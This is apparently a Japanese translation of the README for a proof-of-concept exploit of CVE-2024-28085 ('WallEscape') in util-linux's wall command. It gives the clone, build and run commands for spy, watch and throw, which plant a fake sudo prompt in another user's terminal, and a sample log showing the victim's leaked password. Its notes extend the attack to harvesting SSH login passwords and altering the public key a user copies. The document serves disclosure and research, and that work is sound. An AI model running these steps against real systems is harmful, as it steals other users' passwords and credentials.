Wall-Escape (CVE-2024-28085)

util-linux の wall コマンドは、コマンドライン引数からエスケープシーケンスをフィルタリングしません。この脆弱なコードは、コミット cdd3cc7fa4 (2013) で導入されました。それ以降のすべてのバージョンに脆弱性があります。完全なレポートはここにあります。私はこのバグを「WallEscape」と名付けました。

このエクスプロイトコードは、デフォルト構成のUbuntu 22.04でパスワードの漏洩に成功しました。

設定

throw.c 内の背景色とユーザー名が適切な値に設定されていることを確認してください。

ビルドと実行

攻撃のセットアップ

git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

sudo systemctl start apache2 は短時間で実行でき、出力も少ないため、これを使用しました。エクスプロイト実行後は spy を必ず終了させてください: pkill spy。

その後、別のターミナルで

sudo su
sudo systemctl start apache2

システムによって、またローカルアクセスかssh経由かによって、被害者が su を実行する必要がない場合もあります。

これにより、被害者のターミナルに偽のsudoプロンプトが表示されます。多くのシステムは見つからないコマンドを漏洩するため、proc.log に被害者のパスワードが表示される可能性があります。

proc.log の例

sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

注記

この脆弱性がどのようなシナリオで他のユーザーへの攻撃に利用され得るかについて、誤解している人もいます。私たちは sudo を攻撃する必要はありません。ユーザーがパスワードを入力するあらゆる場所を攻撃できます。私のシステムでは、ユーザーがOpenSSHを使ってログインした後、/usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new というコマンドが実行されます。

Openssh ユーザーのパスワードを漏洩させるには、次のコマンドを実行することを想像してください:

./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

その後、ユーザーがSSH経由で正しくログインできた後に、「パスワードが間違っています」というメッセージを送信できます。Sudoはデモ用に選んだコマンドに過ぎませんが、攻撃対象は多数存在します。攻撃者が、SSHを使用してログインするすべてのユーザーの認証情報を収集するクレデンシャルハーベスターを設置することを想像するのは難しくありません。これは、www-data のような最も権限のないユーザーでも可能です。

この脆弱性により、攻撃者は任意のコマンドの出力を変更することもできます。cat ~/.ssh/id_rsa.pub" というコマンドを待つとします。攻撃者は、ユーザーが公開鍵としてコピーする内容を変更できます。この攻撃スタイルでは、見つからないコマンドのための漏洩プリミティブは必要ありません。